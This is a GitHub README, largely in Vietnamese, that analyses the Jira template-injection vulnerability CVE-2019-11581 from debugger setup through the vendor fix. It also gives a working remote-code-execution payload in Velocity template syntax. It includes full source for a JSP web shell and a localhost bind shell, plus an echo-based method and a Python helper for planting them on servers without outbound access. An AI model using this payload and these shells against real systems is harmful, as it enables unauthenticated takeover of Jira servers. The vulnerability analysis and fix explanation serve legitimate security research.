Skip to content

PetrusViet/CVE-2019-11581

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 

Repository files navigation

Atlassian Jira unauthen template injection (CVE-2019-11581)

I) Building

1. Bug version

4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. Build and debug

  • Sửa giá trị set JVM_SUPPORT_RECOMMENDED_ARGS= tại file ./bin/setenv.bat (hoặc tương tự với file ./bin/setenv.sh của linux)để có thể chạy remote debug
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • Tại IDE (Intellij) ta tạo một Debug Configurations: Remote JVM Debug với giá trị hostport là localhost:5005 và Command line aguments for remote JVM
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • Chạy file ./bin/config.bat (hoặc với file config.sh với linux) và chỉnh sửa "Jira home" về thư mục jira home của mình image

  • Chạy file ./bin/start-jira.bat (hoặc ./bin/start-jira.sh với linux). Các bạn kiểm tra version java, port 8080 và 5005 có đang free hay không nếu không chạy được nhé!

  • Ta chọn mode private image

  • Tới bước này, các bạn nhớ dùng địa chỉ email có thể nhận được email nhé :) image

  • Conf và test connection đầy đủ nhé image

  • Tại http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa ta bật tính năng Contact Administrators Form image

  • Mình chỉ note một số lưu ý khi building, các bạn có thể tham khảo building jira from source

II) Phân tích

Sau khi đọc Advisory ta biết được bug này nằm ở ContactAdministrators và SendBulkMail (cái này mình bỏ qua vì cần authen). Vậy nên mình bắt đầu test tính năng ContactAdministrators và bắt request

image

  • Mình thấy request tới /secure/ContactAdministrators.jspa thế nên mình xem file ./atlassian-jira/WEB-INF/web.xml để xem request này sẽ được chuyển tới class nào
    image
    image

  • Như thế reuqest sẽ được xử lý ở JiraWebworkActionDispatcher, vậy nên mình đặt breakpoit ở init và server ở class này và chạy debug image

  • Như thế chương trình đã dừng lại ở hàm server, trace một lát thì chương trình nhảy vào ContactAdministrators.doExecute() image

  • Sau đó qua send, tại đây chương trình list ra các tài khoản admin đang hoạt động image

  • Rồi sau đó chương trình qua hàm sendTo. Tại đây ta thấy chương trình có tạo một MailQueueItem và add nó vào mailQueue. image

  • Chương trình gọi hàm EmailBuilder.withSubject. Tại đây string subject của email (attacker gửi lên) được chuyển từ String qua TemplateSources và gán cho tham số subjectTemplate của EmailBuilder. image

  • Tại hàm renderLater chương trình tạo một EmailRenderer và dùng nó để tạo một RenderingMailQueueItem image

  • Từ đây, khi quay lại hàm ContactAdministrators.sendTo. Sau khi tạo xong một MailQueueItem chương trình add item vào mailQueue rồi quay lại hàm doExecute để Redirect. Nếu theo luồng debug này ta không thể nhảy tới phần mà chương trình render email, nên không thể tới đoạn xảy ra template injection được. Vậy mình phải làm gì để có thể theo dõi việc xử lý email???

  • Mình thấy ở EmailRenderer có hàm renderNow (chương trình chỉ gọi renderLater) mình đoán là khi email ở trong queue được gọi lên để render, nó cũng sẽ được đi theo luồng giống như renderNow, vậy nên mình quyết định trace từ hàm renderNow image

  • Từ renderNow chương trình gọi tới EmailRenderer.render(). Mình đặt breakpoint ở đây và request lại để xem chương trình có thự sự chạy tới đây hay không image

  • Thật may mắn là chương trình đã đi đúng hướng mình đoán. Tiếp theo chương trình gọi renderEmailSubject image

  • Tiếp theo chương trình gọi DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

  • Đến DefaultVelocityTemplatingEngine.applyingDefaultVelocityTemplatingEngine.asPlainText image

  • Tiếp tục gọi tới asPlainText(Writer writer) image

  • Đến toWriterImplwriter mình đưa vào là một Fragment thế nên chương trình nhảy tới else

private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • Và gọi tới DefaultVelocityManager.writeEncodedBodyForContent image
  • Tiếp tục qua VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Tại đây chương trình đã tạo một SimpleNode từ Reader image
  • Chương trình chạy tới hàm render, tại đây chương trình gọi nodeTree.render(ica, writer); để parse template Velocity vì thế ở đây ta có thể Template injection ở đây!
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • Mình thay thể subject của email contact bằng payload của velocity teplate:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • Và chúng ta đã PoC lại thành công :) image

Stack call

ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

Như thế ta đã có thể RCE trên jira server, thế nhưng nếu chúng ta muốn có 1 shell mà gặp phải trường hợp server không có outbound thì phải làm sao? Trong trường hợp này ta không thể tạo bind/reverse shell như thông thường vì ta không có port để ra internet.

Mình nhận được một gọi ý từ anh @honson97: "sử dụng 1 web jsp để nhận input từ attacker rồi chuyển tới một bind shell hoạt động độc lập và listen chính localhost của server".

image

Từ ý tưởng ấy, mình code 2 file jsp là web.jspblind.jsp. blind.jsp mang nhiệp vụ làm blind shell, luôn lắng nghe ở localhost:4444 nhận lệnh đưa vào cmd/base và trả về kết quả cho web jsp web.jsp, và web jsp chính là công cụ để attacker input/output command.

file: web.jsp

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

file: bind.jsp

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

Tiếp theo là up shell lên server, do server chúng ta đang tính ở trường hợp không có outbound nên chúng ta chỉ có thể upload file bằng lệnh echo. Trước tiên mình xóa ký tự "\n" và Escape Characters đặc biệt (bằng python)

a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

sau đó copy string thu được đưa vô payload

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()

Sau khi upload được 2 file web.jsp và bind.jsp. Ta truy cập /bind.jsp rồi mở tab khác truy cập /web.jsp?cmd=COMMAND để test shell image

Fix

Tại ContactAdministrators.sendTo(), thay vì đưa trực tiếp input từ client vào hàm EmailBuilder.withSubject để chuyển thành teamplate sources (có thể render) thì tại bản fix nhà nhà phát triển đã đưa input vào thành một string context và chỉ cần đưa string "$subject" vào hàm EmailBuilder.withSubject. Khi render, hệ thống thực thi template "$subject" tức là load subject - string context (input từ client) lên chứ không hề render chúng. Nói cách khác, chương trình nạp input vào như một string chứ không phải như một template có thể render.

image Bug version

image Fix version

About

Atlassian Jira unauthen template injection

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published